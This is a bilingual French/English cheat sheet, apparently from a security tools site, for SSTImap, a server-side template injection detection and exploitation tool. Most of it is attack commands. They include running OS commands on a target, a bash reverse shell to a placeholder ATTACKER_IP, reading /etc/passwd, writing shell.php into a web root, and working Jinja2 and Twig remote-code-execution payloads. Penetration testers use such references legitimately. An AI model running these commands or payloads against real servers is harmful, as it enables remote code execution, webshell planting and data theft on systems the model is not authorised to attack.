SSTImap

Outil de détection et d'exploitation d'injection de template côté serveur (SSTI). Détecte automatiquement le moteur de template et obtient du RCE via plus de 15 exploits de moteurs de template. Server-Side Template Injection (SSTI) detection and exploitation tool. Auto-detects template engine and achieves RCE through 15+ template engine exploits.

↗ https://github.com/vladko312/SSTImap

Overview

SSTImap automatically detects and exploits Server-Side Template Injection vulnerabilities. It identifies the template engine in use (Jinja2, Twig, Freemarker, Mako, Velocity, etc.) and exploits SSTI to achieve Remote Code Execution, file read/write, or shell access.

Basic Usage

Test a GET parameter

python3 sstimap.py -u "https://target.com/page?name=test"

Test POST data

python3 sstimap.py -u "https://target.com/render" -d "template=test"

Test specific parameter

python3 sstimap.py -u "https://target.com/page?name=test&id=1" -p name

With cookies

python3 sstimap.py -u "https://target.com/page?name=test" --cookie "session=abc123"

Detection & Exploitation

Detection only (don’t exploit)

python3 sstimap.py -u "https://target.com/page?name=test" --detect
# Execute OS command after detection
python3 sstimap.py -u "https://target.com/page?name=test" -e id
python3 sstimap.py -u "https://target.com/page?name=test" -e "cat /etc/passwd"

# Get a reverse shell
python3 sstimap.py -u "https://target.com/page?name=test" --os-shell
python3 sstimap.py -u "https://target.com/page?name=test" --os-cmd "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Read a file

python3 sstimap.py -u "https://target.com/page?name=test" --file-read /etc/passwd

Write a file

python3 sstimap.py -u "https://target.com/page?name=test" --file-write shell.php --output /var/www/html/shell.php

Request Customization

Custom headers

python3 sstimap.py -u "https://target.com/page?name=test" -H "X-Custom: value" -H "Authorization: Bearer TOKEN"

POST with content type

python3 sstimap.py -u "https://target.com/api" -d '{"template":"test"}' -H "Content-Type: application/json"

Through proxy

python3 sstimap.py -u "https://target.com/page?name=test" --proxy http://127.0.0.1:8080

From Burp request file

python3 sstimap.py -r request.txt

Template Engine Selection

# Force a specific engine (skip detection)
python3 sstimap.py -u "https://target.com/page?name=test" --engine Jinja2
python3 sstimap.py -u "https://target.com/page?name=test" --engine Twig

List supported engines

python3 sstimap.py --list-engines

Supported Template Engines

EngineLanguageRCE
Jinja2PythonYes
MakoPythonYes
TornadoPythonYes
TwigPHPYes
SmartyPHPYes
FreemarkerJavaYes
VelocityJavaYes
PebbleJavaYes
ThymeleafJavaYes
GroovyJavaYes

Manual SSTI Testing

# Quick detection payloads (if result is 49 → vulnerable)
{{7*7}}            → Jinja2 / Twig (Python/PHP)
${7*7}             → Freemarker / Velocity (Java)
<%= 7*7 %>         → ERB (Ruby)
#{7*7}             → Pebble
*{7*7}             → Spring (Java)

Tips

  • Always test for SSTI in any parameter that reflects user input through a template
  • Jinja2 RCE via {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
  • Twig RCE via {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
  • SSTI is often higher severity than XSS — it runs server-side as the web server user
Help / Man page
sstimap.py [options]

Target:
  -u URL            Target URL
  -d DATA           POST data
  -r FILE           Load request from file
  -p PARAM          Parameter to test
  --cookie COOKIE   Cookies
  -H HEADER         Extra headers

Detection:
  --detect          Only detect, don't exploit
  --engine NAME     Force engine
  --list-engines    List supported engines
  --level N         Test level (1-5, default: 1)

Exploitation:
  -e CMD            Execute OS command
  --os-shell        Interactive OS shell
  --os-cmd CMD      Single OS command
  --file-read PATH  Read file
  --file-write FILE Write file
  --output PATH     Output path for --file-write

Network:
  --proxy URL       HTTP proxy
  --timeout N       Request timeout
  --delay N         Delay between requests
  -H HEADER         Add header

Vue d’ensemble

SSTImap détecte et exploite automatiquement les vulnérabilités d’injection de template côté serveur. Il identifie le moteur de template utilisé (Jinja2, Twig, Freemarker, Mako, Velocity, etc.) et exploite le SSTI pour obtenir de l’exécution de code à distance, de la lecture/écriture de fichiers, ou un accès shell.

Utilisation de base

# Tester un paramètre GET
python3 sstimap.py -u "https://target.com/page?name=test"

# Tester des données POST
python3 sstimap.py -u "https://target.com/render" -d "template=test"

# Tester un paramètre spécifique
python3 sstimap.py -u "https://target.com/page?name=test&id=1" -p name

# Avec cookies
python3 sstimap.py -u "https://target.com/page?name=test" --cookie "session=abc123"

Détection et exploitation

# Détection uniquement (ne pas exploiter)
python3 sstimap.py -u "https://target.com/page?name=test" --detect

# Exécuter une commande OS après détection
python3 sstimap.py -u "https://target.com/page?name=test" -e id
python3 sstimap.py -u "https://target.com/page?name=test" -e "cat /etc/passwd"

# Obtenir un reverse shell
python3 sstimap.py -u "https://target.com/page?name=test" --os-shell
python3 sstimap.py -u "https://target.com/page?name=test" --os-cmd "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# Lire un fichier
python3 sstimap.py -u "https://target.com/page?name=test" --file-read /etc/passwd

# Écrire un fichier
python3 sstimap.py -u "https://target.com/page?name=test" --file-write shell.php --output /var/www/html/shell.php

Personnalisation de la requête

# Headers personnalisés
python3 sstimap.py -u "https://target.com/page?name=test" -H "X-Custom: value" -H "Authorization: Bearer TOKEN"

# POST avec content type
python3 sstimap.py -u "https://target.com/api" -d '{"template":"test"}' -H "Content-Type: application/json"

# Via proxy
python3 sstimap.py -u "https://target.com/page?name=test" --proxy http://127.0.0.1:8080

# Depuis un fichier de requête Burp
python3 sstimap.py -r request.txt

Sélection du moteur de template

# Forcer un moteur spécifique (sauter la détection)
python3 sstimap.py -u "https://target.com/page?name=test" --engine Jinja2
python3 sstimap.py -u "https://target.com/page?name=test" --engine Twig

Lister les moteurs supportés

python3 sstimap.py --list-engines

Moteurs de template supportés

MoteurLangageRCE
Jinja2PythonOui
MakoPythonOui
TornadoPythonOui
TwigPHPOui
SmartyPHPOui
FreemarkerJavaOui
VelocityJavaOui
PebbleJavaOui
ThymeleafJavaOui
GroovyJavaOui

Test manuel de SSTI

# Payloads de détection rapide (si le résultat est 49 → vulnérable)
{{7*7}}            → Jinja2 / Twig (Python/PHP)
${7*7}             → Freemarker / Velocity (Java)
<%= 7*7 %>         → ERB (Ruby)
#{7*7}             → Pebble
*{7*7}             → Spring (Java)

Conseils

  • Toujours tester le SSTI sur tout paramètre qui reflète une entrée utilisateur à travers un template
  • RCE Jinja2 via {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
  • RCE Twig via {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
  • Le SSTI est souvent plus sévère que le XSS : il s’exécute côté serveur en tant qu’utilisateur du serveur web
Aide / Page de manuel
sstimap.py [options]

Target:
  -u URL            Target URL
  -d DATA           POST data
  -r FILE           Load request from file
  -p PARAM          Parameter to test
  --cookie COOKIE   Cookies
  -H HEADER         Extra headers

Detection:
  --detect          Only detect, don't exploit
  --engine NAME     Force engine
  --list-engines    List supported engines
  --level N         Test level (1-5, default: 1)

Exploitation:
  -e CMD            Execute OS command
  --os-shell        Interactive OS shell
  --os-cmd CMD      Single OS command
  --file-read PATH  Read file
  --file-write FILE Write file
  --output PATH     Output path for --file-write

Network:
  --proxy URL       HTTP proxy
  --timeout N       Request timeout
  --delay N         Delay between requests
  -H HEADER         Add header